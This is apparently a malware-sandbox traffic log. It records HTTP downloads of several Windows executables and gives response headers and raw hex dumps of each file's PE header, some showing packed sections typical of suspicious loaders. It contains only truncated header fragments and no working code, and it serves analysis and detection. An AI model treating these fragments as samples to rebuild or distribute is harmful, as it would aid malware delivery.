00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Dec 2024 01:50:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:50:46 GMTContent-Type: application/octet-streamContent-Length: 3293184Last-Modified: Tue, 10 Dec 2024 01:22:43 GMTConnection: keep-aliveETag: "675797e3-324000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 32 00 00 04 00 00 f4 84 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 31 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 31 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 6a 7a 78 74 69 63 67 00 90 2b 00 00 b0 06 00 00 82 2b 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 67 79 70 76 74 6b 6a 00 10 00 00 00 40 32 00 00 06 00 00 00 18 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 32 00 00 22 00 00 00 1e 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:09 GMTContent-Type: application/octet-streamContent-Length: 1973248Last-Modified: Tue, 10 Dec 2024 00:57:10 GMTConnection: keep-aliveETag: "675791e6-1e1c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 e0 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 87 00 00 04 00 00 b0 92 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 1b 86 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 6f 79 61 6c 64 68 00 00 1b 00 00 d0 6b 00 00 fa 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 68 78 6e 6b 6c 74 77 00 10 00 00 00 d0 86 00 00 04 00 00 00 f6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 86 00 00 22 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 